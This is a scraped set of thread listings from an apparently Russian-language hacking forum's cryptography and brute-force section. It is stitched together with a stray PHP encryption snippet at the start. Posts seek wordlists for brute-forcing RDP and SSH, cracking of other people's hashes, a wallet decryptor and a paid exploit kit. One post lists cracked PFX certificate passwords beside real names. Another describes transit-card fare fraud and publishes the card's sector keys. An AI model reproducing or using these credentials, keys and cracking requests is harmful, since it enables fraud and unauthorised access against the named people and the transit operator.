$newClear = fnDecrypt("9KxPseuaIWQFvPhLFeSBqvqkHjKt5HbEaFN+vHKAwzCeeR0K0mtwy4zaA9NTpDE6qv7WpE0nB0bP2UuvTi2YHG5E/eQZC9Sh", base64_decode("bQEHWs7A3Dc7/IvetjQDI07p+uUL+nZ7uaHjYvPYgbYZG+/hX3i/jRAWJ4jt7LGO"));

echo
"IV:       ".$iv."\n".

"Decrypred: ".$newClear."\n\n";

function fnEncrypt($sValue, $sSecretKey) {
    global $iv;
    return rtrim(base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $sSecretKey, $sValue, MCRYPT_MODE_CBC, $iv)), "\0\3");
}

function fnDecrypt($sValue, $sSecretKey) {
    global $iv;
    return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $sSecretKey, base64_decode($sValue), MCRYPT_MODE_CBC, $iv), "\0\3");
}

ч

Немного о текстовом редакторе EmEditor
ID: 676536fbb4103b69df3738f3
Thread ID: 26351
Created: 2018-10-22T11:41:56+0000
Last Post: 2018-10-22T11:41:56+0000
Author: JohnRipper
Prefix: Статья
Replies: 0 Views: 2K

Немного о текстовом редакторе повышенной проходимости - EmEditor.

Всем привет!
На форуме многих интересует годный софт для работы с текстовыми документами и с базами и желательно с большими.
У меня есть небольшой опыт в сфере работы с базами данных и в обработке больших текстовых массивов без использования всякого рода ETL-систем.
И я бы посоветовал всем использовать текстовый редактор EmEditor. Из очевидных достоинств программы - обработка файлов больших, огромных объёмов, возможность работы с регексами, фильтрация текста, возможность работы с текстом с разделителями как с табличным редактором.

В первую очередь, советую разобраться с функционалом, доступным на панелях:
Разделители

Основной функционал:
-Указание разделителя текста. Можно добавлять любые свои разделители.
Позволяет включать режим работы с ячейками. После указания разделителя появляется возможность менять порядок и извлекать столбцы.
-Сортировки от А до Я, от Я до А, от наименьшего к наибольшему, от наибольшего к наименьшему, а также от короткого к длинному и от длинного к короткому.
-Удалить дубликаты строк.
-Удалить дубликаты в неполной строке (столбце/столбцах).
-Объединить столбцы из двух файлов.
-Работа со столбцами, вставка пустых столбцов слева/справа, выделение столбцов.
-Извлечь или изменить порядок столбцов (как писал выше, после указания разделителя в тексте).
-Показать номера строк.
-Показать линейку.
-Запретить редактирование заголовков.

Вид текста после применения разделителя:

Т.е. получается удобный табличный редактор с основным функционалом.

Фильтр

Основной функционал:
-Применение фильтра на всю строку или на строку в столбце.
-Параметры фильрации (регексы, escape-последовательности,отрицательный фильтр,только слово целиком, учитывать регистр).
-Расширенная фильтрация.
-Возможность многострочных изменений в режиме работы с текстом как с таблицей.

Расширенный фильтр

Позволяет создавать уникальные условия фильтрации по нескольким столбцам и зафильтровать до смерти)

Поиск и замена

Основной функционал:
-Поиск текста с возможностью его выделения цветом.
-Замена текста.
-Поиск и замена текста с различными параметрами (регексы, ecape-последовательности, слово целиком, учитывать регистр)

Особенно интересный функционал представлен в "пакетной замене", который не раз меня выручал при нормализации данных в базах.

У меня в примере нормализация даты формата "5 марта" к "05.03".

Маркеры

Основной функционал заключается в визуальном выделении нужных фрагментов текста.
Для примера выделяем слово, после чего ПКМ - и "добавть/удалить из маркеров"

После чего получаем вот такие пометки в тексте:

Стоит отметить, что маркеры наследуются на текст во всех вкладках, что очень удобно.

Также, по нажатию ПКМ, можно найти большое количество полезных функций.
К примеру, изменить начертание букв (ПРОПИСНЫЕ (Ctrl+Shift+U), строчные (Ctrl+U), Первая заглавная).
Продублировать строку (Ctrl+Shift+Y).
Удалить встроенные разрывы строк.
Преобразовать разделители и расставить обрамляющие кавычки в ячейках.

Это только основные возможности данного текстового редактора, не считая более специфичных функций, которыми каждый день пользоваться не будешь.
По-большому счёту, грамотное использование всех перечисленных возможностей в связке со знанием регексов избавит Вас от доброй половины однофункциональных программ от ваших корефанов Васи и Пети.
Если Вы как-то связываете свою деятельность с базами данных, обработкой текста и аналитикой, то я очень рекомендую ознакомиться с данным текстовым редактором.
Скачать его можно на любом торрент-трекере, все мальчики большие, сами знаете места.

P.S. Учите регексы, с ними можно творить чудеса.
P.P.S. для ценителей текстовых файлов от 10 Гб и выше. Я работал с файлом 49 Гб и полёт был нормальный. В противном случае мне бы пришлось работать с СУБД, что заняло бы однозначно больше времени и потребовало бы развёртывания этой самой СУБД. Но могу сказать, что есть камрады, которые насиловали программу гораздо более массивными файлами.

Расшифровка хэша и взлом IPB 2.x
ID: 676536fbb4103b69df373905
Thread ID: 18398
Created: 2009-09-29T15:27:32+0000
Last Post: 2009-09-29T15:27:32+0000
Author: XSSBot
Prefix: Видео
Replies: 0 Views: 2K

Обсуждение видеоhttp://xss.is/?act=video#video34[
Автор: Coyl
Дата добавления: 29.10.2006 01:57
Способ расшифровки хеша IPB 2.x и взлома форума.
Видео позаимствовано из архива antichat.ru.

[url=http://xss.is/video/25.jpg]Скриншот](http://xss.is/?act=video#video34)
[a style='color:#309030 !important' href='http://dllfiles.org/video/25.rar' target='_blank']Скачать | Download[/url] (1.32 Mb)

MD5 Bruteforce Tool
ID: 676536fbb4103b69df373908
Thread ID: 17769
Created: 2009-06-15T05:16:40+0000
Last Post: 2009-06-15T05:16:40+0000
Author: ATLZ
Replies: 0 Views: 2K

Брутим MD5.Вместо txt надо переименовать в pl

Основы работы с John The Ripper
ID: 676536fbb4103b69df37390f
Thread ID: 16083
Created: 2008-10-28T23:18:23+0000
Last Post: 2008-10-28T23:18:23+0000
Author: XSSBot
Prefix: Видео
Replies: 0 Views: 2K

Обсуждение видеоhttp://xss.is/?act=video#video68[
Автор: Nitrex
Дата добавления: 05.11.2006 01:14
Основы работы с John The Ripper
Видео позаимствовано из архива antichat.ru

[url=http://xss.is/video/59.jpg]Скриншот](http://xss.is/?act=video#video68)
[a style='color:#309030 !important' href='http://dllfiles.org/video/59.rar' target='_blank']Скачать | Download[/url] (1.14 Mb)

DiskCryptor - Open Source
ID: 676536fbb4103b69df373915
Thread ID: 14480
Created: 2008-01-28T20:20:27+0000
Last Post: 2008-01-28T20:20:27+0000
Author: DeusTirael
Replies: 0 Views: 2K

DiskCryptor - Open Source программа для шифрования дисковых разделов.
Описание - http://freed0m.org/?index=dcrypt
Форум - http://freed0m.org/forum/

Криптография с секретным ключом (2022)
ID: 676536fbb4103b69df3737d3
Thread ID: 79996
Created: 2023-01-15T10:46:53+0000
Last Post: 2023-01-15T10:46:53+0000
Author: x00c4sub
Prefix: Мануал/Книга
Replies: 0 Views: 1K

В книге объясняется, как создавать шифры с секретным ключом – от простых, для которых хватает карандаша и бумаги, до очень сложных, применяемых в современной компьютерной криптографии. Вы научитесь конструировать 30 невскрываемых шиф ров, измерять стойкость шифров и гарантированно обеспечивать их безопасность, противостоять гипотетическим ультракомпьютерам будущего. А для развлечения предлагается вскрыть несколько несложных мини-шифров.
Издание предназначено для профессиональных инженеров, специалистов по информатике и криптографов-любителей.

cloud.mail.ru

Файл из Облака Mail.ru

Облако Mail.ru - это ваше персональное надёжное хранилище в интернете.

cloud.mail.ru cloud.mail.ru

Взлом пароля xls, pdf
ID: 676536fbb4103b69df37371c
Thread ID: 103319
Created: 2023-12-01T12:35:48+0000
Last Post: 2024-12-14T13:36:12+0000
Author: rotonda
Replies: 15 Views: 1K

Всех приветствую.
Возникла необходимость взломать пароль на pdf и xls файле. Юзер забыл его. Все способы, которые можно найти в гугле на первой странице - перепроверил. Бесплатные онлайн помогаторы и т.п.
Очевидные идеи, как попытаться вспомнить пароль, посмотреть в сохраненках на компьютере и прочем - уже проверены и результата не дали.
Спасибо!

Brute forcing RDP and SSH
ID: 676536fbb4103b69df373723
Thread ID: 113797
Created: 2024-05-03T09:14:45+0000
Last Post: 2024-11-28T18:34:09+0000
Author: voldemort
Replies: 4 Views: 1K

Where to find a good wordlist for brute forcing rdp and ssh ?

Ищу ExploitDarlenePRO
ID: 676536fbb4103b69df373724
Thread ID: 101674
Created: 2023-11-05T18:13:23+0000
Last Post: 2024-11-28T01:09:00+0000
Author: cmcoder
Replies: 10 Views: 1K

Сабж: https://darlene.pro/

Цена в 0.18 BTC кусается, в открытом доступе нигде не нашел. Если у кого есть

поделитесь:)

Восстановить/сбрутить приватный ssh ключ из публичного
ID: 676536fbb4103b69df37373a
Thread ID: 118124
Created: 2024-07-03T22:03:40+0000
Last Post: 2024-10-06T05:40:20+0000
Author: cmcoder
Replies: 4 Views: 1K

Приветствую.

Ситуация - имеется публичный ssh ключ (id_rsa.pub). Можно ли по нему восстановить/сбрутить приватный? Возможно, здесь есть люди, оказывающие подобные услуги?

постквантовое шифрование vs квантовые технологии
ID: 676536fbb4103b69df373745
Thread ID: 121709
Created: 2024-08-29T19:41:30+0000
Last Post: 2024-08-31T09:21:09+0000
Author: dunkel
Replies: 14 Views: 1K

Квантовые компьютеры уже появились и экспериментально работают. Цитата из блога разрабов хрома, которые 10 августа 2023г в Google Chrome 116 добавили постквантовое (квантово-устойчивое) гибридное X25519Kyber768 шифрование:

" Quantum-resistant cryptography must also be secure against both quantum and classical cryptanalytic techniques. This is not theoretical: in 2022 and 2023, several leading candidates for quantum-resistant cryptographic algorithms have been broken on inexpensive and commercially available hardware. Hybrid mechanisms such as X25519Kyber768 provide the flexibility to deploy and test new quantum-resistant algorithms while ensuring that connections are still protected by an existing secure algorithm."

blog.chromium.org

[ Protecting Chrome Traffic with Hybrid Kyber KEM

](https://blog.chromium.org/2023/08/protecting-chrome-traffic-with- hybrid.html)

Teams across Google are working hard to prepare the web for the migration to quantum-resistant cryptography. Continuing with our strategy f...

blog.chromium.org blog.chromium.org

И первыми после ученых которые их разрабатывают, думаю ими сразу захотят воспользоваться всякие спецслужбы. Интересно, что будет с:

  1. Криптовалютами (можно будет из публичного ключа из блокчейна сбрутить приватный и подписывать им транзакции)
  2. Анонимностью (все местные и магистральные провайдеры собирали и сохраняли большую часть ssl/tls траффика, все зашифрованные сообщения всех мессенджеров и т.д). Зачем? Нуу, чтобы потом вставить лё паяльник ин жёппа, получить ключи шифрования например телеги и прочитать все что надо. И возможно хранить они их будут до появления возможности квантовой дешифровки, когда можно будет вообще все расшифровать и прочитать

Собственно, пора начать ~~трястись~~ добавлять на форумы, в токс, джаббер и другие клиенты мессенджеров постквантовые алгоритмы шифрования. Использовать желательно все вместе комбинированно, чтобы максимально повысить криптостойкость. То есть написать библиотеку которая будет конвеером шифровать входящие данные всеми этими алгоритмами по списку (некоторые кандидаты, половина из них - алгоритмы на решетках. Еще можете поискать здесь https://eprint.iacr.org/search?q=Post-Quantum Encryption):

Streamlined NTRU Prime (улучшенный NTRUEncrypt)
CRYSTALS-Kyber
CRYSTALS-Dilithium
FIDO2
McEliece cryptosystem
BIKE
RLCE
SIDH
HQC
Falcon
SIKE
SPHINCS+
XMSS
NewHope
BLISS
Lizard
GLP-Variant GLYPH Signature

Hashing type?
ID: 676536fbb4103b69df37374b
Thread ID: 111768
Created: 2024-04-01T21:38:45+0000
Last Post: 2024-08-14T10:56:57+0000
Author: XsamuraiXken
Replies: 9 Views: 1K

Кто-нибудь может определить, что это за гашиш и соль?

0a964705107e1bfe3e5435b7ef0d1e11

0a860d6bf3baba290e31c50930d71fb2

0ab09bc7d30b1e0cb6f13b12b043995b

How Can Hidden Text Beneath Shapes in Images Be Accessed?
ID: 676536fbb4103b69df37374d
Thread ID: 120267
Created: 2024-08-05T21:30:03+0000
Last Post: 2024-08-12T21:46:15+0000
Author: blackhunt
Replies: 5 Views: 1K

I have a question that's been on my mind. Suppose we have an image in which several pieces of text are hidden using various shapes, similar to the example below. How can we access the hidden text beneath these shapes? Is it practically possible to retrieve such hidden text, or is it not feasible? What are your thoughts on this?

Ex :
1722893353166.png

декриптор для кошелька фантома
ID: 676536fbb4103b69df37376f
Thread ID: 97147
Created: 2023-09-02T23:53:46+0000
Last Post: 2023-11-14T23:35:48+0000
Author: paulmuller
Replies: 6 Views: 1K

Есть декриптор для кошелька фантома а-ля <https://metamask.github.io/vault- decryptor/> ?
В лом писать самому.

Брутфорс Хэшей
ID: 676536fbb4103b69df373777
Thread ID: 97142
Created: 2023-09-02T20:56:23+0000
Last Post: 2023-10-13T15:40:58+0000
Author: Pozetiv44ik
Replies: 4 Views: 1K

Брутфорс Хэшей
Ищу человека кто понимает как брутит sha256(salt.pass) ну и формат sha256(salt.pass): salt: ТИП Hash

066ce85e2e2e648f5d7a7cf3f2cf1b6a903efb6d57e86a0295a40e4d6781c2f8:wh1R5VZIAriz1r3dqUIrf5gqnFGNuZUJ
**Пример таких сейчас много нужна помощь !
Я ищу хорошо человека ! 🤝
**

https://t.me/Chel_C_C
jabber
blackmaestro@exploit.im

Кому нужно в аренду видеокарты 3080 ?
ID: 676536fbb4103b69df37377c
Thread ID: 92329
Created: 2023-07-07T17:21:23+0000
Last Post: 2023-09-21T03:16:17+0000
Author: rr3080
Replies: 3 Views: 1K

в наличии 120 видеокарт 3080 ,
на одной материнке
10шт 3080 ,32 или 16 гб озу
ссдшка 500гб
под брут или любой вид деятельности

Брутанул примерно 500 pfx
ID: 676536fbb4103b69df37377f
Thread ID: 96560
Created: 2023-08-25T18:35:48+0000
Last Post: 2023-09-05T20:39:25+0000
Author: Mellstroy
Replies: 11 Views: 1K

Брутанул примерно 500 pfx сертов, написал скрпипт на проврку валида , но почему то они все невалидные. Может быть я не так подписываю или еще что то ? можете дать рекомендации? Сколько примерно нужно сбрутить что бы найти валид?

так же куплю VirusTotal api или же может брут кто то может кто написать за $?

пример.
070154;;;181775A7-6AFD-47A0-980A-8B68AC570C7D.pfx
07061960;;;05249960000103.pfx
071020;;;certificado_76_105.pfx
07131887;;;4c7835cf3a5f4665aa7b696cc52cb563.pfx
07131887;;;213fac006de1434ab0d8db3641fa0079.pfx
07131887;;;213fac006de1434ab0d8db3641fa0079.pfx
080471;;;26576031000189.pfx
08101323;;;atualizado - RETEC_ITA_SERVICOS_E_ACESSOS_LTDA_31601180000190_1685645409654850600.pfx
08101980;;;Maria_Natalia_Costa_Silva 022023.pfx
08051807;;;RAFAEL GUBERT senha 08051807.pfx
084289;;;201593453855REFLORESTAMENTO_CASCAVEL_S_A_08428929000128_1646310943296281500 6PRIMEIROSCNPJ.pfx

Структура БСК "Подорожник", небольшое дополнение...
ID: 676536fbb4103b69df373789
Thread ID: 50383
Created: 2021-04-07T02:16:39+0000
Last Post: 2023-07-27T22:55:21+0000
Author: Metropoliten
Replies: 2 Views: 1K

Многие помнят статейку на Хабре, о взломе "Подорожника". Про структуру самой карты и ее устройство посторятся не буду, но если кому будет интересно, могу в коментах описать. Темой этой пользуюсь давно, но только на наземке. Автор тогда задавался этим вопросом "почему при проходе в метро карту сразу блочит" - я же попробую дать на него ответ, ну а вы меня подправите если я не прав.
Дело в том, что при оплате проезда в наземном транспорте - через валидатор ПК-003 или жолтый валидатор в автобусах разработки фирмы "МФ-Тариф" данные с 9-го сектора (hash-данных последней оплаты) не проверяются на достоверность (сверка с копией фискального документа(чека) в базе данных OFD.ru посредством GET-запроса, поэтому проезд спокойно считывается, но дамп карты скидывается в память валидатора (см. РП на изделие ПК-003), где находится до момента сброса всей структуры на сервер (в парке) через RS-232. Сейчас я ищу методы создания льготного проездного. Имеется несколько подобных карт, анализируются дампы, по результатам анализа и проведения нескольких удачных тестов, я опубликую тут ключи для всех секторов, а так же результаты тестов. С наземкой можно не парится - на одном уже год катаюсь постоянно и всё хорошо.
То же самое и с тройкой, но там немного послажнее, но это уже совсем другая история...

Кому нужно, ключи для обычного подорожника

Hidden content for authorized users.

4A - E56AC127DD45
4B - 19FC84A3784B
5A - 77DABC9825E1
5B - 9764FEC3154A

Если кто хочет памочь в этом вопросе, прашу писать сдесь или в ЛС.

Помогите создать список паролей для брута
ID: 676536fbb4103b69df37379d
Thread ID: 90719
Created: 2023-06-17T00:29:56+0000
Last Post: 2023-06-19T04:14:12+0000
Author: Ffrahse
Replies: 7 Views: 1K

Подскажите какой утилитой и как задать правило для создание словаря для брута где:
-6 символов состоящих из цифр
-первые два известны а остальные 4 следуют друг за другом но не повторяются подряд
-следующий символ идёт по вертикале или горизонталь на мобильной раскладке (пример "145485, 147487, 145465, 854514, 256545")
Уже всё обгуглил не могу выполнить последнее условие.

Каким софтом можно брутфорсить $sshng$6$16 на RTX 4090?
ID: 676536fbb4103b69df3737a1
Thread ID: 89655
Created: 2023-06-04T09:08:18+0000
Last Post: 2023-06-08T15:05:34+0000
Author: SoulsHunter
Replies: 4 Views: 1K

Есть hash с заголовком $sshng$6$16 - определился как RSA/DSA/EC/OpenSSH Private Key

При попытке запустить брутфорс по маске в John the Ripper jumbo работает только на CPU, при запуске в режиме GPU на RTX 4090 выдает ошибку:
[ssh-opencl] cipher value of 6 is not yet supported with OpenCL!
Соответственно в John the Ripper jumbo этот алгоритм на GPU еще не реализован.

В Hashcat аналогичная картина, для RSA/DSA/EC/OpenSSH Private Key алгоритма 22921 RSA/DSA/EC/OpenSSH Private Keys ($6$) выдает ошибку:
Salt-length exception
Насколько я понимаю, этот алгоритм подходит только для $sshng$6$8.

У кого-нибудь получилось найти готовое решение для брута hash типа $sshng$6$16 на GPU? Или такого решения еще не существует и нужно писать новый модуль для Hashcat по примеру модуля https://github.com/hashcat/hashcat/blob/master/src/modules/module_22921.c ?

Чем брутить ZIP архивы на GPU?
ID: 676536fbb4103b69df3737a4
Thread ID: 88901
Created: 2023-05-25T18:16:38+0000
Last Post: 2023-05-31T19:34:03+0000
Author: 0x01234567
Replies: 5 Views: 1K

Cабж. Имеется ZIP архив, какой есть софт для эффективного брута именно на GPU?

hashcrack
ID: 676536fbb4103b69df3737a5
Thread ID: 88462
Created: 2023-05-20T17:36:49+0000
Last Post: 2023-05-24T22:08:39+0000
Author: Leonard123
Replies: 6 Views: 1K

$P$B./ACTHCwMk/yn7u0b/9Hs8JВwаLlz0 Привет всем, как можно расшифровать подобный пароль?

Кто знает как собрать изображение ?
ID: 676536fbb4103b69df3737a7
Thread ID: 88425
Created: 2023-05-20T07:48:24+0000
Last Post: 2023-05-20T09:52:29+0000
Author: Peace
Replies: 3 Views: 1K

Нужно эти данные собрать обратно в картинку, чтобы понять каким образом отправлять данные в сайт

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

у кого есть рабочий код по AWS4-HMAC-SHA256 ?
ID: 676536fbb4103b69df3737a8
Thread ID: 88371
Created: 2023-05-19T11:23:28+0000
Last Post: 2023-05-20T03:06:36+0000
Author: Peace
Replies: 8 Views: 1K

Всем привет, столкнулся с такой проблемой, что нужно создать signature для запроса и он использует AWS4-HMAC-SHA256. Есть официальные доки, но по ним пока не получается воссоздать всё. Есть кто сталкивался?

Help with hash
ID: 676536fbb4103b69df3737a9
Thread ID: 88258
Created: 2023-05-18T06:06:28+0000
Last Post: 2023-05-19T11:33:32+0000
Author: prono
Replies: 1 Views: 1K

Can someone help me with this hash, I am stuck

$2a$08$tyA3g3M8HCiAcJxTmp11v.DXyJxVFEPa3BFV4XZxLDLwGnLsO7hL2 - Possible algorithms: bcrypt $2*$, Blowfish (Unix)

Программы для управления сетевым трафиком и стеганографии
ID: 676536fbb4103b69df3737ac
Thread ID: 88062
Created: 2023-05-15T22:21:46+0000
Last Post: 2023-05-15T22:21:46+0000
Author: baykal
Prefix: Статья
Replies: 0 Views: 1K

Приветствую читателей данной статьи, сегодня хочу познакомить вас с ещё одной не менее интересной подборкой программ и инструментов с открытым исходным кодом для управления сетевым трафиком и стеганографии. Ну что же, начнём!

WireGuard Easy​

Данная программа является самым простым способом установить WireGuard и управлять им на любом хосте Linux. Давайте перед этим определимся или повторим то, что же такое WireGuard?

WireGuard - это чрезвычайно простой, но быстрый и современный VPN, использующий самую современную криптографию. Он намерен быть значительно более производительным, чем OpenVPN. WireGuard разработан как VPN общего назначения для работы как на встроенных интерфейсах, так и на суперкомпьютерах, подходящих для самых разных обстоятельств.

Функции​

  • Всё в одном: WireGuard + веб-интерфейс
  • Простая установка, простота в использовании
  • Список, создание, редактирование, удаление, включение и отключение клиентов
  • Показ QR-кода клиента
  • Загрузка файла конфигурации клиента
  • Статистика подключения клиентов
  • Диаграммы Tx/Rx для каждого подключенного клиента
  • Поддержка Граватара

Требования​

  • Хост с ядром, поддерживающим WireGuard(все современные ядра)
  • Хост с установленным Docker

Установка​

Для начала на хосте нужно установить Docker, это делается не особо сложно.

Code:Copy to clipboard

curl -sSL https://get.docker.com | sh
sudo usermod -aG docker $(whoami)
exit

И войдите снова.

Запустите WireGuard Easy, для того чтобы автоматически установить и запустить wg-easy, просто запустите:

Code:Copy to clipboard

docker run -d \
  --name=wg-easy \
  -e WG_HOST=YOUR_SERVER_IP \
  -e PASSWORD=YOUR_ADMIN_PASSWORD \
  -v ~/.wg-easy:/etc/wireguard \
  -p 51820:51820/udp \
  -p 51821:51821/tcp \
  --cap-add=NET_ADMIN \
  --cap-add=SYS_MODULE \
  --sysctl="net.ipv4.conf.all.src_valid_mark=1" \
  --sysctl="net.ipv4.ip_forward=1" \
  --restart unless-stopped \

  weejewel/wg-easy

Разумеется нужно заменить YOUR_SERVER_IP вашим IP-адресом WAN или именем хоста Dynamic DNS и YOUR_ADMIN_PASSWORD паролем для входа в веб-интерфейс.

Теперь веб-интерфейс будет доступен на http://0.0.0.0:51821

Ваши файлы конфигурации будут сохранены в ~/.wg-easy

После запуска переходим в нашу панель управления по ссылке и видим окно авторизации:

![img](/proxy.php?image=https%3A%2F%2Fblog.unixhost.pro%2Fwp- content%2Fuploads%2F2022%2F11%2Fimage-8.png&hash=e0d7168aa35db4250ff380e6ebebeeb5)

Вводим пароль который указали выше и воаля, панель управления перед вашими глазами!

![img](/proxy.php?image=https%3A%2F%2Fblog.unixhost.pro%2Fwp- content%2Fuploads%2F2022%2F11%2Fimage-7.png&hash=a38c3a6e28f5f769908f10d5b9888e6d)

Добавим несколько пользователей и наш сервер готов. Всё что остаётся сделать - отправить файл конфигурации либо QR код для подключения нужному пользователю.

OpenStego​

Это приложение для стеганографии, которое обеспечивает две функции:

  1. Скрытие данных: оно может скрывать любые данные в файле изображения.
  2. Водяные знаки: водяные знаки на файлах изображений с невидимой подписью. Его можно использовать для обнаружения несанкционированного копирования файлов.

Установка​

На официальном GitHub написано, конечно как это всё дело можно развернуть на нашем дистрибутиве Linux, но как-то мало объяснений какой и где файл нужно открывать, поэтому упростим задачу.

Клонируем репозиторий

Code:Copy to clipboard

git clone https://github.com/syvaidya/openstego

И переходим по следующему пути

Code:Copy to clipboard

cd openstego/build/distributions

И теперь просто запускаем волшебную команду которая нам всё установит

Code:Copy to clipboard

dpkg -i openstego_0.8.6-1_all.deb

После установки, остаётся лишь ввести в терминале само название приложения

Code:Copy to clipboard

openstego

И вот нам собственно открывается замечательный интерфейс нашей программы:

1681231458805.png

Использование​

Что же, давайте посмотрим как же работает наше приложение. Меню здесь довольно понятное и в нём всего два пункта: 1) Спрятать информацию 2) Цифровая подпись.

Разберём первый пункт со скрытием информации. Сначала нажимаем на Hide data и в поле Message file выбираем файл который хотим спрятать. В поле Cover file выбираем файл картинки, в которую хотим спрятать, в пункте Output stego file выбираем папку в которую сохраним наш спрятанный файл и дадим ему имя. В опциях нужно задать алгоритм шифрования и пароль. В итоге у вас должно получиться примерно вот так:

1681231485207.png

Ну и просто нажимаем Hide data и дело в шляпе.

Перейдём в пункт Extract data, для того, чтобы теперь уже достать наш секретный файл. Ну здесь всего нужно заполнить поле какой файл брать и куда сохранять расшифрованный файл, и собственно ввод пароля к нему. И в итоге результат должен быть таким:

1681231509213.png

1681232522204.png

Отлично, с пунктом скрытия и раскрытия файлов мы разобрались, теперь давайте разберёмся с пунктом подписи.

Первое что мы делаем - это собственно создаём нашу подпись, в первом поле введите любую вашу подпись, во втором папку и название файла, в котором она будет храниться:

1681232541538.png

